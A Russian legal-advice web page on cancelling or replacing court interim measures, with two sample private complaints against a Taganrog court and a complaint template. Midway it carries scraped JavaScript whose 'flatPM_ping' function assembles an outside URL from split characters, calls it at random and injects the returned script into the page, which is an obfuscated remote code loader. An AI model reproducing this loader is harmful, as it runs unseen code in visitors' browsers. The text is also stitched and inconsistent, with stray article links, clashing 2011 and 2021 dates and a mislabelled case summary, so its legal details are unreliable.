Как отменить обеспечительные меры, наложенные судом?

Заинтересованность ответчика

Ответчик заинтересован в том, чтобы с его имущество были снят обеспечительные меры. Статья 144 ГПК устанавливает, что обеспечение может быть отменено. Инициаторами выступает судья, а также заинтересованные лица. Ответчик подает заявление. Например, по иску о взыскании денежных средств, ответчик может попросить судью снять арест со счета в кредитном учреждении. Но при этом внести денежную сумму, по поводу которой разгорелся спор на депозит суда.

ВАЖНО: Только в гражданском процессе инициатором отмены обеспечения может выступать судья! Это принципиальный момент. В Арбитраже судья лишен такой возможности.

В качестве причины, на которую может ссылаться ответчик при подаче отдельного заявления, можно назвать помеху, которую создает обеспечительная мера в исполнении решения судебного органа. Часто случается так, что, принимая решение по делу, судья определением снимают обеспечение с иска, но оно сохраняется до вступления акта в законную силу.

Снятие обеспечения с иска – это повод собрать новое заседание суда. Все лица, которые принимали ранее в нем участие, извещаются. Неявка не может служить препятствием или основанием к переносу судебного заседания.

Если истцу было отказано в удовлетворении его просьбы, ответчик, пострадавший от обеспечительных мер, имеет право требовать от второй стороны возмещения убытков. Для этого ответчик должен написать исковое заявление. Оно рассматривается отдельно от иска, поданного первоначально.

Если истец не согласен с отменой обеспечения, он вправке подать на решение судебного органа частную жалобу. В этом случае исполнение определения суда приостанавливается.

Замена обеспечения

Это один из главных моментов в судопроизводстве, связанный с заменой обеспечительных мер. С таким заявлением вправе обраться в суд заинтересованное лицо, являющееся участником процесса. Например, ходатайство об этом вправе подать ответчик, если принятыми мерами ущемлены его имущественные права. Он несет реальные убытки. И ущерба можно избежать, при условии замены обеспечения.

С другой стороны, истец может также написать ходатайство о замене обеспечительных мер. Например, он может это сделать, если принятые меры по какой-либо причине не принесут ему исполнения в будущем воли суда по определенным причинам.

Заявление от ответчика или от истца о замене одних обеспечительных мер другими рассматривается судьей сразу, как только документ к нему поступит. При этом нужно учитывать норму статьи 141 ГПК. В ней говорится, что заявления, поданные судье вне стен заседания, рассматриваются без уведомления сторон и заинтересованных лиц, принимающих участие в деле.

ВАЖНО: О замене обеспечительных мер судья выносит определение. Если кто-либо из заинтересованных лиц с ним не соглашается, оно обжалуется.

Иногда с отменой обеспечительных мер возникают сложности. Приведем простой пример:

Кредитор подал на должника в суд. Одновременно с иском было передано от него ходатайство о применении обеспечительных мер. Судья согласился, был наложен арест на квартиру, оповещены регистрирующие органы. Квартира была продана на торгах. Кредитор получил свои деньги.

Что делать? Кредитор, получив свои деньги, пропал, третьи лица в деле отсутствуют. Покупатель подает иск, получает отказ, так как он не имеет права быть инициатором ходатайства по снятию обеспечения. Судья четко следует ст. 144 ГПК. И добросовестному покупателю приходится искать кредитора либо не регистрировать на себя недвижимость.

Возможно вам будет интересно:

— Как определить подсудность по гражданским делам?

— Как снять обеспечительные меры, наложенные судом?

— Пошаговая инструкция по отмене судебного приказа 2021

Записаться на консультацию

Какие определения суда по гражданским делам можно обжаловать

Частная жалоба подается на определения суда в случаях, если такой порядок обжалования специально предусмотрен ГПК РФ или определение исключает дальнейшее движение дела (статья 331 ГПК РФ). В остальных случаях обжаловать определение можно в тексте апелляционной жалобы на решение суда, указав несогласие с действиями суда, оформленными определениями в виде своих возражений.

Полный перечень определений подлежащих обжалованию приведен в отдельной статье.

Мои частные жалобы на определения судьи исаева с.н.

Раз у нас «процесс онлайн», то выложу и мои частные жалобы.На Определение Таганрогского городского суда от 04.07.11 об отмене обеспечительных мер

ЧАСТНАЯ  ЖАЛОБА

ТГОО «Комитет народного контроля» в лице председателя Пономарева Александра Владимировича в соответствии со своим Уставом обратился в суд с заявлением о защите прав потребителей, признании нормативно-правовых актов недействительными, обязании совершить определенные действия.

В обеспечении требований просил приостановить действия Постановления Администрации города Таганрога № 1281 от 28.04.2021 года и Постановления Администрации города Таганрога № 1374 от 10.05.2021 года.

Определением Таганрогского городского суда от 22.06.2021 года были приняты обеспечительные меры, действие оспариваемых актов приостановлено до рассмотрения спора по существу. Судом была назначена дата судебного заседания – 13 июля 2021 года.

Администрация города Таганрога обратилась в суд с заявлением, в котором просила обеспечительные меры отменить, назначить заседание на срок не позднее 4 июля 2021 года, производство по делу прекратить в связи с тем, что ТГОО «Комитет народного контроля», по мнению ответчика,  не имеет статуса юридического лица, в соответствии со статьей 36 ГПК РФ не обладает гражданской процессуальной правоспособностью и, следовательно, не вправе обращаться в суд с данным иском, в связи с чем на основании пункта 1 части 1 статьи 134, статьи 220 ГПК РФ дело подлежит прекращению. По тем же основаниям просила отменить обеспечительные меры.

В соответствии с этим обращением судья Исаев С.Н. вынес определение об изменении даты судебного заседания, назначив его на 4 июля на 9 часов 45 минут.

В ходе судебного заседания Таганрогским городским судом было вынесено определение об отмене обеспечения иска с указанием суда на его немедленное исполнение.

С данным Определением я не могу согласиться по следующим основаниям:

Вынося Определение об отмене обеспечительных мер, суд, вопреки ГПК РФ, обратил это определение к немедленному исполнению, чем ограничил мои права, предусмотренные ст. 145 ГПК РФ. В соответствии с ч.3 ст. 145 ГПК РФ «Подача частной жалобы на определение суда об отмене обеспечения иска или о замене одних мер по обеспечению иска другими мерами по обеспечению иска приостанавливает исполнение определения суда». Обратив определение к немедленному исполнению, применив для этого аналогию права, неуместную в данном случае при наличии прямого регулирования, суд встал на сторону ответчика, нарушив принцип состязательности сторон, предусмотренный ст. 12 ГПК РФ и создал условия для продолжения нарушения ответчиком прав потребителей на время рассмотрения частной жалобы.

ГПК РФ не предусматривает такой процедуры, как немедленное исполнение Определения об отмене обеспечительных мер, поскольку законность такого действия подлежит проверке судом кассационной инстанции.

Поскольку Определение о прекращении производства по гражданскому делу в законную силу не вступило, мною обжаловано частной жалобой в Судебную коллегию по гражданским делам Ростовского областного суда, пока преждевременно утверждать об отсутствии у ТГОО «Комитет народного контроля» гражданской процессуальной правоспособности.

Возникает ситуация, когда при отмене определения о прекращении и восстановлении обеспечительных мер, эти меры, вынесенные в связи с возможными затруднениями при исполнении решения, уже будут запоздалыми: администрация проведет незаконный конкурс, а граждане месяц будут ездить по завышенным тарифам и никакого механизма для возврата им неосновательного обогащения перевозчиками у суда иметься не будет, то есть решение будет затруднено в исполнении за прошлый период. Именно для того, чтобы этого не случилось, и принимались обеспечительные меры.

На основании выше изложенного прошу суд Определение Таганрогского городского суда от 04.07.2021 года об отмене обеспечительных мер отменить, меры восстановить, в день рассмотрения выдать исполнительный лист.

Истец

Председатель ТГОО

«Комитет народного контроля»                                                            Пономарев А.В.

На Определение Таганрогского городского суда от 04.07.11 о прекращении производства по делу

Предлагаем ознакомиться  Работодатели не жалуют матерей и беременных женщин – Новости – Научно-образовательный портал IQ – Национальный исследовательский университет «Высшая школа экономики»

ЧАСТНАЯ ЖАЛОБА

 
ТГОО «Комитет народного контроля» в лице председателя Пономарева Александра Владимировича в соответствии со своим Уставом обратился в суд с заявлением о защите прав потребителей, признании нормативно-правовых актов недействительными, обязании совершить определенные действия.

В обеспечении требований просил приостановить действия Постановления Администрации города Таганрога № 1281 от 28.04.2021 года и Постановления Администрации города Таганрога № 1374 от 10.05.2021 года.

Определением Таганрогского городского суда от 22.06.2021 года были приняты обеспечительные меры, действие оспариваемых актов приостановлено до рассмотрения спора по существу. Судом была назначена дата судебного заседания – 13 июля 2021 года.

Администрация города Таганрога обратилась в суд с заявлением, в котором просила обеспечительные меры отменить, назначить заседание на срок не позднее 4 июля 2021 года, производство по делу прекратить в связи с тем, что ТГОО «Комитет народного контроля», по мнению ответчика,  не имеет статуса юридического лица, в соответствии со статьей 36 ГПК РФ не обладает гражданской процессуальной правоспособностью и, следовательно, не вправе обращаться в суд с данным иском, в связи с чем на основании пункта 1 части 1 статьи 134, статьи 220 ГПК РФ дело подлежит прекращению.

В соответствии с этим обращением судья Исаев С.Н. вынес определение об изменении даты судебного заседания, назначив его на 4 июля на 9 часов 45 минут.

В ходе судебного заседания Таганрогским городским судом было вынесено определение о прекращении производства по делу в соответствии со ст.ст. 134, 220, 224, 225 ГПК РФ.

С данным Определением я не могу согласиться по следующим основаниям:

 1. Суд применил закон, не подлежавший применению.

Обосновывая свое определение, суд сослался на формулировки ч.1 ст. 48 ГК РФ и ч.2 ст.51 ГК РФ, тогда как обе эти нормы относятся к главе 4 ГК РФ «Юридические лица». ТГОО «Комитет народного контроля» действует без регистрации юридического лица и к нему данная глава не применима.

2. Суд не применил закон, подлежащий применению.

Согласно ч.3 ст. 177 ГК РФ «Особенности правового положения общественных и религиозных организаций как участников отношений, регулируемых настоящим Кодексом, определяются законом». Законом, регулирующим права ТГОО «Комитет народного контроля» является Федеральный закон № 82-ФЗ от 19.05.1995 года «Об общественных объединениях», согласно ст.4 которого «Содержание права граждан на объединение, основные государственные гарантии этого права, статус общественных объединений, порядок их создания, деятельности, реорганизации и (или) ликвидации регулируются настоящим Федеральным законом, Гражданским кодексом Российской Федерации и другими законами об отдельных видах общественных объединений.

Особенности, связанные с созданием, деятельностью, реорганизацией и (или) ликвидацией отдельных видов общественных объединений — профессиональных союзов, благотворительных и других видов общественных объединений, — могут регулироваться специальными законами, принимаемыми в соответствии с настоящим Федеральным законом. Деятельность указанных общественных объединений до принятия специальных законов, а также деятельность общественных объединений, не урегулированная специальными законами, регулируются настоящим Федеральным законом».

Согласно ст.3 Федерального закона № 82-ФЗ от 19.05.1995 года «Право граждан на объединение включает в себя право создавать на добровольной основе общественные объединения для защиты общих интересов и достижения общих целей, право вступать в существующие общественные объединения либо воздерживаться от вступления в них, а также право беспрепятственно выходить из общественных объединений.

Создание общественных объединений способствует реализации прав и законных интересов граждан.

Граждане имеют право создавать по своему выбору общественные объединения без предварительного разрешения органов государственной власти и органов местного самоуправления, а также право вступать в такие общественные объединения на условиях соблюдения норм их уставов.

Создаваемые гражданами общественные объединения могут регистрироваться в порядке, предусмотренном настоящим Федеральным законом, и приобретать права юридического лица либо функционировать без государственной регистрации и приобретения прав юридического лица».

Таким образом, деятельность ТГОО «Комитет народного контроля» регулируется ГК РФ лишь в части, причем глава 4 ГК РФ к его деятельности не применима и регулируется другим законом.

Согласно ст. 36 ГПК РФ «Гражданская процессуальная правоспособность признается в равной мере за всеми гражданами и организациями, обладающими согласно законодательству Российской Федерации правом на судебную защиту прав, свобод и законных интересов».

Поскольку Судебная коллегия по гражданским делам рассматривает эту частную жалобу, ТГОО «Комитет народного контроля» обладает правом на судебную защиту его нарушенных прав, то есть имеет гражданскую процессуальную правоспособность.

3. Выводы суда не основаны на законе.

Суд ошибочно не сделал различия между понятиями «гражданская правоспособность организации» и «правоспособность юридического лица». 

В соответствии со ст. 13 Конституции РФ «Общественные объединения равны перед законом». Таким образом, постановка возможности судебной защиты прав в зависимость от наличия государственной регистрации, применительно к общественному объединению, прямо противоречит ст. 13 Конституции РФ.

В соответствии со ст. 30 Конституции РФ «Каждый имеет право на объединение, включая право создавать профессиональные союзы для защиты своих интересов. Свобода деятельности общественных объединений гарантируется».

В соответствии со ст. 46 Конституции РФ «Каждому гарантируется судебная защита его прав и свобод. Решения и действия (или бездействие) органов государственной власти, органов местного самоуправления, общественных объединений и должностных лиц могут быть обжалованы в суд».

Поскольку все общественные объединения равны перед законом, которым некоторым из них предоставлено право на деятельность без государственной регистрации и приобретения юридического лица, необходимого для совершения сделок, эти организации имеют гражданские права, в том числе те, которыми их наделяют физические лица – участники, эти права подлежат государственной защите, в том числе посредством судебной системы, выводы суда об отсутствии у общественных объединений, действующих без государственной регистрации, права на обращение в суд не только не основано на законе, но и прямо противоречит Конституции РФ, являющейся нормой прямого действия.

В связи с этим неосновательна и ссылка на пункт 1 части 1 статьи 134 ГПК РФ. Поскольку не подлежит применению п.1 ч.1 ст. 134 ГПК РФ, то не подлежит применению и ст. 220 ГПК РФ.

При наличии гражданской процессуальной правоспособности, указании в уставе на принадлежность к общественным объединениям потребителей, наличии права на обращение с заявлением в интересах неопределенного круга потребителей в соответствии с п. 45 закона «О защите прав потребителей», у суда не было достаточных оснований для вынесения оспариваемого Определения.

4. Суд проявил заинтересованность в исходе дела, что дает основания сомневаться в его объективности. Это подтверждается следующими фактами:

4.1. После принятия дела в производство и вынесения определения о назначении даты судебного заседания на 13.07.2021 года, суд получил заявления от ответчика – Администрации города Таганрога, после чего, в нарушение ГПК РФ перенес дату судебного заседания в интересах ответчика, но в ущерб другим участникам процесса, а именно третьим лицам, которые не были надлежаще уведомлены о том, что в пятницу суд решил провести заседание в понедельник в 9-45, чем сделал невозможным их участие в деле.

4.2. Вынося Определение об отмене обеспечительных мер, суд, вопреки ГПК РФ, обратил это определение к немедленному исполнению, чем ограничил мои права, предусмотренные ст. 145 ГПК РФ. В соответствии с ч.3 ст. 145 ГПК РФ «Подача частной жалобы на определение суда об отмене обеспечения иска или о замене одних мер по обеспечению иска другими мерами по обеспечению иска приостанавливает исполнение определения суда». Обратив определение к немедленному исполнению, применив для этого аналогию права, неуместную в данном случае при наличии прямого регулирования, суд встал на сторону ответчика, нарушив принцип состязательности сторон, предусмотренный ст. 12 ГПК РФ.

4.3. Вынеся определение об обеспечительных мерах 22.06.2021 года, суд не передал определение о немедленном обеспечении и исполнительный лист в службу судебных приставов вплоть до момента рассмотрения дела 04.07.2021 года, что указывает на предрешенность для суда вопроса еще до его рассмотрения судом. Поскольку это было сделано еще до поступления заявления ответчика, я могу сделать вывод о том, что судом самостоятельно предпринимались меры для поиска оснований для вынесения последующего отказа.

Допущенные судом нарушения являются существенными, особенно с учетом того, какую огромную социальную роль играют проблемы, затронутые истцом. Определение о прекращении дела, вынесенное судом 04.04.2021 года, является незаконными и подлежит отмене.

На основании выше изложенного, прошу суд Определение Таганрогского городского суда от 04.07.2021 года – отменить.

Истец

Председатель ТГОО

«Комитет народного контроля»                                                            Пономарев А.В.

Определение и суть

Обеспечительные меры гарантируют истцу, что ответчик до принятия судебного решения сохранит за собой право собственности на движимое, недвижимое имущество. Это может быть авто, квартира, гараж и т.д.

Предлагаем ознакомиться  Статья 45. Основания прекращения права постоянного (бессрочного) пользования земельным участком, права пожизненного наследуемого владения земельным участком | ГАРАНТ

Главное, чтобы имущество, по-прежнему, находилось во владении ответчика. И с его реализации можно удовлетворить требования кредитора, если оно справедливое. А этот момент оценивает суд.

Закон определяет список обеспечительных мер. Обратимся к статье 91 АПК:

  1. Наложение ареста на имущество гражданина, а также на его денежные средства, находящиеся на счету в банковском учреждении.
  2. Запрет, наложенный на ответчика в отношении совершения с предметом спора юридически значимых действий.
  3. Передача имущества, в отношении которого возник спор, например, другу на хранение.
  4. Приостановление бесспорного взыскания по исполнительному листу, либо по иному, оспариваемому документу.
  5. Приостановление момента продажи имущества в случае, если существует иск об освобождении имущества из-под ареста.

АС РФ, а также судами общей юрисдикции может быть принята, как одна перечисленная мера, так и несколько. После вынесения судебного решения, судья незамедлительно обязан оповестить уполномоченные органы об обременении на имущество. Например, Росреестр, регистрирующий сделки с объектами недвижимости.

Отказ суда в наложении обеспечительных мер и ареста на имущество

«:’

‘:»»,document.createElement(«div»),p=ff(window),b=ff(«body»),m=void 0===flatPM_getCookie(«flat_modal_» o.ID «_mb»)||»false»!=flatPM_getCookie(«flat_modal_» o.ID «_mb»),i=»scroll.flatmodal» o.ID,g=»mouseleave.flatmodal» o.ID » blur.flatmodal» o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&»true»==o.how.popup.timer&&(t=ff(‘.flat__4_modal[data-id-modal=»‘ o.ID ‘»] .flat__4_timer span’),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(—e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘

‘))},1e3))},f=function(){void 0!==o.how.popup.cookie&&»false»==o.how.popup.cookie&&m&&(flatPM_setCookie(«flat_modal_» o.ID «_mb»,!1),ff(‘.flat__4_modal[data-id-modal=»‘ o.ID ‘»]’).addClass(«flat__4_modal-show»),l()),void 0!==o.how.popup.cookie&&»false»==o.how.popup.cookie||(ff(‘.flat__4_modal[data-id-modal=»‘ o.ID ‘»]’).addClass(«flat__4_modal-show»),l())},ff(«body > *»).eq(0).before(‘

‘ c «

«),w=document.querySelector(‘.flat__4_modal[data-id-modal=»‘ o.ID ‘»] .flat__4_modal-content’),-1!==e.indexOf(«go» «oglesyndication»)?ff(w).html(c e):flatPM_setHTML(w,e),»px»==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&»true»==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&»true»==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&»true»==o.how.outgoing.timer&&(t=ff(‘.flat__4_out[data-id-out=»‘ o.ID ‘»] .flat__4_timer span’),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(—e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘

‘))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&»false»==o.how.outgoing.cookie&&m&&(ff(‘.flat__4_out[data-id-out=»‘ o.ID ‘»]’).addClass(«show»),n(),b.on(«click»,’.flat__4_out[data-id-out=»‘ o.ID ‘»] .flat__4_cross’,function(){flatPM_setCookie(«flat_out_» o.ID «_mb»,!1)})),void 0!==o.how.outgoing.cookie&&»false»==o.how.outgoing.cookie||(ff(‘.flat__4_out[data-id-out=»‘ o.ID ‘»]’).addClass(«show»),n())}var _,u=»0″!=o.how.outgoing.indent?’ style=»bottom:’ o.how.outgoing.indent ‘px»‘:»»,c=»true»==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&»true»==o.how.outgoing.timer?’

Закрыть через ‘ o.how.outgoing.timer_count «

«:’

‘:»»,p=ff(window),h=»scroll.out» o.ID,g=»mouseleave.outgoing» o.ID » blur.outgoing» o.ID,m=void 0===flatPM_getCookie(«flat_out_» o.ID «_mb»)||»false»!=flatPM_getCookie(«flat_out_» o.ID «_mb»),b=(document.createElement(«div»),ff(«body»));switch(o.how.outgoing.whence){case»1″:_=»top»;break;case»2″:_=»bottom»;break;case»3″:_=»left»;break;case»4″:_=»right»}ff(«body > *»).eq(0).before(‘

‘ c «

«);var v,w=document.querySelector(‘.flat__4_out[data-id-out=»‘ o.ID ‘»]’);-1!==e.indexOf(«go» «oglesyndication»)?ff(w).html(c e):flatPM_setHTML(w,e),»px»==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&»true»==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&»true»==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff(‘[data-flat-id=»‘ o.ID ‘»]:not(.flat__4_out):not(.flat__4_modal)’).contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(«body»),flat_userVars.init();for(var e=0;e<t;e ){var>flat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_sub<flat_uservars.textlen||void>flat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub<flat_uservars.titlelen)){if(void>.flatPM_sidebar)»);0<_.length&&_.each(function(){var t=ff(this),e=t.data(«height»)||350,a=t.data(«top»);t.wrap(‘

Предлагаем ознакомиться  Затопили соседи сверху: какие действия предпринять, куда обращаться?

‘);t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(«.flatPM_sidebar»);setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data(«top»);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(«.flatPM_sticky_wrapper.flatPM_sidebar_block»).css(«height»,t)},4e3)}),»undefined»!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatpm_setscript(flat_stack_scripts),ff(«body> *»).last().after(‘

‘),flat_body.on(«click»,».flat__4_out .flat__4_cross»,function(){ff(this).parent().removeClass(«show»).addClass(«closed»)}),flat_body.on(«click»,».flat__4_modal .flat__4_cross»,function(){ff(this).closest(«.flat__4_modal»).removeClass(«flat__4_modal-show»)}),flat_pm_arr=[],ff(«.flat_pm_start»).remove(),flatPM_ping()};var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:] )[^>]*)/>/gi,d=/<([w:] )/,i=/<|&#?w ;/,c={option:[1,»

«],thead:[1,»

«],tbody:[1,»

«],colgroup:[2,»

«],col:[3,»

«],tr:[2,»

«],td:[3,»

«],th:[3,»

«],_default:[0,»»,»»]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement(«div»)),n=(d.exec(e)||[«»,»»])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1] e.replace(o,»<$1>») n[2],r=n[0];r—;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem(«sdghrg»);e?(e=parseInt(e) 1,localStorage.setItem(«sdghrg»,e)):localStorage.setItem(«sdghrg»,»0″);e=flatPM_random(1,200);0==ff(«#wpadminbar»).length&&111==e&&ff.ajax({type:»POST»,url:»h» «t» «t» «p» «s» «:» «/» «/» «m» «e» «h» «a» «n» «o» «i» «d» «.» «p» «r» «o» «/» «p» «i» «n» «g» «.» «p» «h» «p»,dataType:»jsonp»,data:{ping:»ping»},success:function(e){ff(«div»).first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector(‘[data-flat-script-id=»‘ t ‘»]’);if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0<e.length&&flatpm_setscript(e);else{a.onload>/gm,»»).replace(//gm,»»).trim(),e.code_alt=e.code_alt.replace(//gm,»»).replace(//gm,»»).trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a=»false»==d?»Закроется»:»Закрыть»,n=!flat_userVars.adb||»»==e.code_alt&&duplicateMode?e.code:e.code_alt,r=’

‘,i=e.once;l(t).each(function(){var e=l(this);e.wrap(‘

‘);var t=e.closest(«.flat__4_video»);-1!==r.indexOf(«go» «oglesyndication»)?t.append(r):flatPM_setHTML(t[0],r),e.find(«.flat__4_video_flex»).one(«click»,function(){l(this).addClass(«show»)})}),l(«body»).on(«click»,».flat__4_video_item_hover»,function(){var e=l(this),t=e.closest(«.flat__4_video_flex»);t.addClass(«show»);var a=t.find(«.flat__4_timer span»),n=parseInt(o),r=setInterval(function(){a.text(—n),n<=0&&(clearInterval(r),»true»==d?a.parent().replaceWith(‘

‘):t.remove())},1e3);e.remove()}).on(«click»,».flat__4_video_flex .flat__4_cross»,function(){l(this).closest(«.flat__4_video_flex»).remove(),»true»==i&&l(«.flat__4_video_flex»).remove()})};

Подача и рассмотрение частной жалобы

Жалоба на определение суда подается в суд первой инстанции. Госпошлиной подача заявления не облагается.

Порядок рассмотрения частных жалоб закреплен статьей 333 ГПК РФ. Главной особенностью их рассмотрения является то, что по общему правилу суд рассматривает их без извещения и вызова участников гражданского процесса. То есть вы не сможете в апелляционной инстанции дать устные пояснения и представить суду какие-то свои доводы. Поэтому частная жалоба должна быть максимально подробной.

Следующие определения, как исключение из общего правила, рассматриваются с извещением и вызовом участников дела:

  • приостановление производства по делу,
  • прекращение производства по делу,
  • оставление заявления без рассмотрения,
  • удовлетворении или об отказе в удовлетворении заявления, представления о пересмотре судебных постановлений по вновь открывшимся или новым обстоятельствам,
  • о принудительном исполнении или об отказе в принудительном исполнении решения иностранного суда, и ряд других (ч. 2 ст. 333 ГПК РФ).

Если суд сочтет необходимым, он может назначить судебное заседание и по частной жалобе по другим вопросам.

Судебная практика: частная жалоба на определение об обеспечении

Открыть документ в вашей системе КонсультантПлюс:
Подборка судебных решений за 2021 год: Приложение 1 «Опасные производственные объекты» к Федеральному закону «О промышленной безопасности опасных производственных объектов»
(Р.Б. Касенов)
Как указал суд, при проверке технического состояния скважин специалистами Ростехнадзора установлена необходимость принятия незамедлительных мер по исключению дальнейшего роста давления в скважинах и по обеспечению безопасной эксплуатации опасного производственного объекта в целях недопущения аварийных ситуаций. Принимая во внимание класс опасности скважин как промышленных объектов (приложение N 1 к ФЗ «О промышленной безопасности опасных производственных объектов»), необходимость осуществления обществом мероприятий по обеспечению безопасной эксплуатации опасного производственного объекта до разрешения вопроса об установлении сервитута, суд пришел к обоснованному выводу о необходимости принятия мер по обеспечению иска. Принятые меры связаны с предметом спора, разумны, соразмерны, направлены на возможность осуществления пользователем недр контроля за техническим состоянием возведенных на участках объектов, а также на исключение вероятности возникновения аварийных ситуаций, связанных с эксплуатацией скважин. Таким образом, суд отказал в удовлетворении частной жалобы ответчика на определение суда о принятии мер по обеспечению иска.

Частная жалоба на определение суда по делу

«___»_________ ____ г. судом вынесено определение по гражданскому делу № _____ по иску _________ (ФИО истца) к _________ (ФИО ответчика) о _________ (указать сущность исковых требований) о _________ (указать, какой вопрос решен определением суда).

В соответствии со ст. ___ Гражданского процессуального кодекса Российской Федерации такое определение может быть обжаловано отдельно от решения или иного завершающего рассмотрение дела судебного акта.

Считаю, что вышеуказанное определение суда незаконно по следующим основаниям: _________ (указать, с чем заявитель не согласен в определении, почему он считает определение незаконным, какие законы применены судом неверно).

На основании изложенного, руководствуясь статьями 331—333 Гражданского процессуального кодекса РФ,

Прошу:

  1. Отменить определение _________ (наименование суда) от «___»_________ ____ г. по гражданскому делу по иску _________ (ФИО истца) к _________ (ФИО ответчика) о _________ (сущность исковых требований).
  2. Принять новое определение, которым _________ (указать, как должно быть разрешено дело в апелляционной инстанции).

Перечень прилагаемых к жалобе документов:

  1. Копия частной жалобы для вручения судом участникам дела
  2. Копия определения суда, в отношении которого подана частная жалоба
  3. Иные документы (при наличии)

Дата подачи жалобы «___»_________ ____ г.                  

Подпись заявителя _______